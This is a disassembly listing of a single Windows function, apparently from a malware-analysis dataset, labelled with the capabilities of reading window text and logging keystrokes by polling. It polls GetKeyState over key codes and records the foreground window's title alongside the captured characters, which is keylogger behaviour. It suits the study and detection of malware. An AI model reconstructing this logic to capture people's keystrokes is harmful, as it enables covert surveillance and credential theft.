Function at 0x1400022a0
Capabilities:
Get graphical window text
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x1f0
mov rax, qword [0x140009010]
xor rax, rsp
mov qword [rsp + 0x1e0], rax
mov rdi, rcx
xor r14d, r14d
lea ecx, [r14 + 0x10]
call qword [sym.imp.USER32.dll_GetKeyState]
movzx ebp, ax
shr ebp, 0xf
and bpl, 1
mov dword [rsp + 0x24], ebp
lea ecx, [r14 + 0x14]
call qword [sym.imp.USER32.dll_GetKeyState]
test al, 1
je 0x140002302
test bpl, bpl
je 0x140002316
mov ecx, socket
call qword [sym.imp.USER32.dll_GetKeyState]
test al, 1
jne 0x14000231d
test bpl, bpl
je 0x14000231d
mov byte [rsp + 0x20], 1
jmp 0x140002322
mov byte [rsp + 0x20], r14b
mov byte [rsp + 0x70], r14b
mov rbx, qword [0x1400097a8]
mov rbx, qword [rbx]
lea r15, [0x140009700]
cmp byte [rbx + 0x19], r14b
jne 0x140002739
mov r13d, 0x7f
nop dword [rax + rax]
lea rsi, [rbx + 0x28]
mov ecx, dword [rbx + 0x20]
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x14000236c
mov byte [r15 + r13], 1
jmp 0x140002600
cmp byte [r15 + r13], 0
je 0x140002600
cmp dword [rbx + 0x20], 1
jne 0x14000263b
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rcx, rax
mov r8d, 0x16d
lea rdx, [rsp + 0x70]
call qword [sym.imp.USER32.dll_GetWindowTextA]
lea rax, [rsp + 0x70]
mov rsi, 0xffffffffffffffff
inc rsi
cmp byte [rax + rsi], 0
jne 0x1400023a7
lea rcx, [0x140009048]
cmp qword [0x140009060], 0x10
cmovae rcx, qword [0x140009048]
mov r8, qword [0x140009058]
cmp r8, rsi
jne 0x1400023e5
lea rdx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400025ee
mov r8, rsi
lea rdx, [rsp + 0x70]
call fcn.140002e30
mov r15, qword [0x140009058]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 0x12
jb 0x1400028af
lea r12, [0x140009048]
cmp qword [0x140009060], 0x10
cmovae r12, qword [0x140009048]
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x40], r14
lea rbp, [r15 + 0x12]
mov esi, send
lea r14, [rsp + 0x28]
cmp rbp, rsi
jbe 0x1400024cb
mov rsi, rbp
or rsi, 0xf
cmp rsi, rcx
jbe 0x14000246e
mov rsi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140002495
cmp rsi, 0x16
mov eax, socket
cmovb rsi, rax
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x1400024b4
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400028bb
mov rcx, rax
call fcn.1400048fc
test rax, rax
je 0x140002765
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x1400024c6
test rcx, rcx
je 0x1400024c3
call fcn.1400048fc
mov r14, rax
jmp 0x1400024c6
xor r14d, r14d
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x40], rsi
movups xmm0, xmmword [str._n_current_window:]
movups xmmword [r14], xmm0
movzx eax, word [0x140006540]
mov word [r14 + 0x10], ax
lea rcx, [r14 + 0x12]
mov r8, r15
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rbp], 0
mov r8d, 2
lea rdx, [0x140006528]
lea rcx, [rsp + 0x28]
call fcn.140002db0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
xor r14d, r14d
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], send
mov byte [rax], r14b
lea rdx, [rsp + 0x48]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
cmovae rdx, rcx
movq r8, xmm1
mov rcx, rdi
call fcn.140002db0
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x1400025a6
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400025a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000275e
call fcn.140004c58
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x1400025e3
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400025de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002765
call fcn.140004c58
lea r15, [0x140009700]
mov ebp, dword [rsp + 0x24]
cmp r13, 0x94
jae 0x1400028b5
mov byte [r15 + r13], 0
inc r13
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], 0
je 0x14000270f
mov rax, qword [rbx + 8]
cmp byte [rax + 0x19], 0
jne 0x140002633
nop dword [rax + rax]
cmp rbx, qword [rax + 0x10]
jne 0x140002633
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x140002620
mov rbx, rax
jmp 0x14000272f
test bpl, bpl
je 0x1400026f1
cmp qword [rsi + 0x10], 1
jne 0x1400026f1
mov rax, rsi
mov rcx, qword [rsi + 0x18]
cmp rcx, 0x10
jb 0x14000265f
mov rax, qword [rsi]
cmp byte [rax], 0x20
je 0x1400026f1
cmp rcx, 0x10
jb 0x140002671
mov rsi, qword [rsi]
mov r8, qword [0x140009798]
mov rax, qword [r8 + 8]
mov rcx, r8
cmp byte [rax + 0x19], 0
jne 0x14000269f
movzx edx, byte [rsi]
cmp byte [rax + 0x1a], dl
jge 0x140002693
mov rax, qword [rax + 0x10]
jmp 0x140002699
mov rcx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x140002688
cmp byte [rcx + 0x19], 0
jne 0x1400026ad
movzx eax, byte [rcx + 0x1a]
cmp byte [rsi], al
jge 0x1400026b0
mov rcx, r8
movzx r9d, byte [rcx + 0x1b]
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
cmp rcx, rdx
jae 0x1400026e4
lea rax, [rcx + 1]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0x10
jb 0x1400026d6
mov rax, qword [rdi]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400025ee
mov rcx, rdi
call fcn.140003390
jmp 0x1400025ee
mov r8, qword [rsi + 0x10]
cmp qword [rsi + 0x18], 0x10
jb 0x1400026ff
mov rsi, qword [rsi]
mov rdx, rsi
mov rcx, rdi
call fcn.140002db0
jmp 0x1400025ee
mov rbx, rax
mov rcx, qword [rax]
cmp byte [rcx + 0x19], 0
jne 0x14000272f
nop dword [rax + rax]
mov rbx, rcx
mov rax, qword [rcx]
mov rcx, rax
cmp byte [rax + 0x19], 0
je 0x140002720
cmp byte [rbx + 0x19], 0
je 0x140002350
mov ebx, 0x21
movzx r14d, byte [rsp + 0x20]
movsxd rsi, ebx
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x14000276c
mov byte [rsi + r15], 1
jmp 0x140002873
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp byte [rsi + r15], 0
je 0x140002873
lea eax, [rbx - 0x41]
cmp eax, 0x19
ja 0x1400027bf
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
test r14b, r14b
jne 0x140002836
lea r9d, [rbx + 0x20]
cmp rcx, rdx
jae 0x14000285d
lea rax, [rcx + 1]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0x10
jb 0x1400027b1
mov rax, qword [rdi]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140002865
test bpl, bpl
je 0x14000282e
mov rdx, qword [0x140009798]
mov rax, qword [rdx + 8]
mov rcx, rdx
cmp byte [rax + 0x19], 0
jne 0x1400027ef
cmp byte [rax + 0x1a], bl
jge 0x1400027e3
mov rax, qword [rax + 0x10]
jmp 0x1400027e9
mov rcx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x1400027d8
cmp byte [rcx + 0x19], 0
jne 0x1400027fa
cmp bl, byte [rcx + 0x1a]
jge 0x1400027fd
mov rcx, rdx
movzx r9d, byte [rcx + 0x1b]
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
cmp rcx, rdx
jae 0x14000285d
lea rax, [rcx + 1]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0x10
jb 0x1400027b1
mov rax, qword [rdi]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140002865
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
cmp rcx, rdx
jae 0x140002859
lea rax, [rcx + 1]
mov qword [rdi + 0x10], rax
cmp rdx, 0x10
mov rax, rdi
jb 0x14000284f
mov rax, qword [rdi]
mov byte [rax + rcx + 1], 0
mov byte [rax + rcx], bl
jmp 0x140002865
movzx r9d, bl
mov rcx, rdi
call fcn.140003390
cmp rsi, 0x94
jae 0x1400028b5
mov byte [rsi + r15], 0
inc ebx
cmp ebx, 0x7e
jle 0x140002744
mov rcx, qword [rsp + 0x1e0]
xor rcx, rsp
call fcn.140004640
lea r11, [rsp + 0x1f0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call fcn.140001850
int3
call fcn.140004768
int3
call fcn.1400017b0
int3